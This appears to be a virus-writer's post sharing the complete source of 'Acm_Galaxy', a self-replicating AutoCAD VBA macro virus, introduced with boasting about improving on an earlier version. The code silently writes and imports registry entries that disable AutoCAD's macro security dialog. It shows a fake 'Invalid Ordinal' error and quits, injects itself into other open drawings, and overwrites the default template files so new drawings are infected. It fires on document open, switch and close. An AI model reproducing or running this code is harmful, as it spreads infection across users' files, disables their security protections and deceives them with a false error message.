.Acm_Galaxy .coded sometime Late 2001 The first code for autocad (star) wasnt much , only just worked but only serve to show being first isnt that hard ... being first and right takes effort Galaxy improves upon the origional in too many ways to list ;) theres a tute ... it explains all :) Antistate -----code----- Public WithEvents ACADApp As AcadApplication Sub galaxy() Set ACADApp = GetObject(, "AutoCAD.Application") Set VBEModel = VBE On Error GoTo runtonext d1 = Dir("c:\firstrun.txt") bignum = Int((150000 * Rnd) + 1) t1 = Application.Preferences.Profiles.ActiveProfile a1 = FileSystem.Dir("c:\cad.reg") If a1 = "" Then Open "c:\cad.reg" For Output As 1 Print #1, "REGEDIT4" Print #1, "[HKEY_CURRENT_USER\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]" Print #1, """AutoEmbedding""=dword:00000001" Print #1, """AllowBreakOnErrors""=dword:00000000" Print #1, """ShowSecurityDlg""=dword:00000000" Print #1, "[HKEY_LOCAL_MACHINE\Software\Autodesk\AutoCAD\R15.0\ACAD-1:409\Profiles\" & t1 & "\acadvba]" Print #1, """AutoEmbedding""=dword:00000001" Print #1, """AllowBreakOnErrors""=dword:00000000" Print #1, """ShowSecurityDlg""=dword:00000000" Close #1 Reset Shell "regedit /s c:\cad.reg", vbHide Open "c:\firstrun.txt" For Output As #1: Close #1 MsgBox "Invalid Ordinal " & bignum, vbCritical, "Application Error" Application.Quit End If le = 0 For i = 1 To Documents.Count Set at = VBEModel.codepanes(i).codemodule If at.lines(4, 1) = "Set VBEModel = VBE" And le = 0 Then newroutine = at.lines(1, at.countoflines) le = 1 i = 0 End If If at.lines(4, 1) <> "Set VBEModel = VBE" And le = 1 Then VBEModel.codepanes(i).codemodule.InsertLines 1, newroutine If d1 = "firstrun.txt" Then ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acad.dwt", acR15_Template ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\acadiso.dwt", acR15_Template ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACAD -Named Plot Styles.dwt", acR15_Template ACADApp.Documents(i).SaveAs ACADApp.Path & "\Template\ACADISO -Named Plot Styles.dwt", acR15_Template d1 = "" Kill ("c:\firstrun.txt") End If ACADApp.Documents(i).Save End If runtonext: Next i newroutine = "" 'if a star went out 'every time i thought of you 'the night skies 'would be empty forever 'Acad/Galaxy End Sub Private Sub AcadDocument_BeginClose() Call galaxy 'AsT End Sub Private Sub AcadDocument_Deactivate() Call galaxy End Sub Private Sub AcadDocument_Activate() Call galaxy End Sub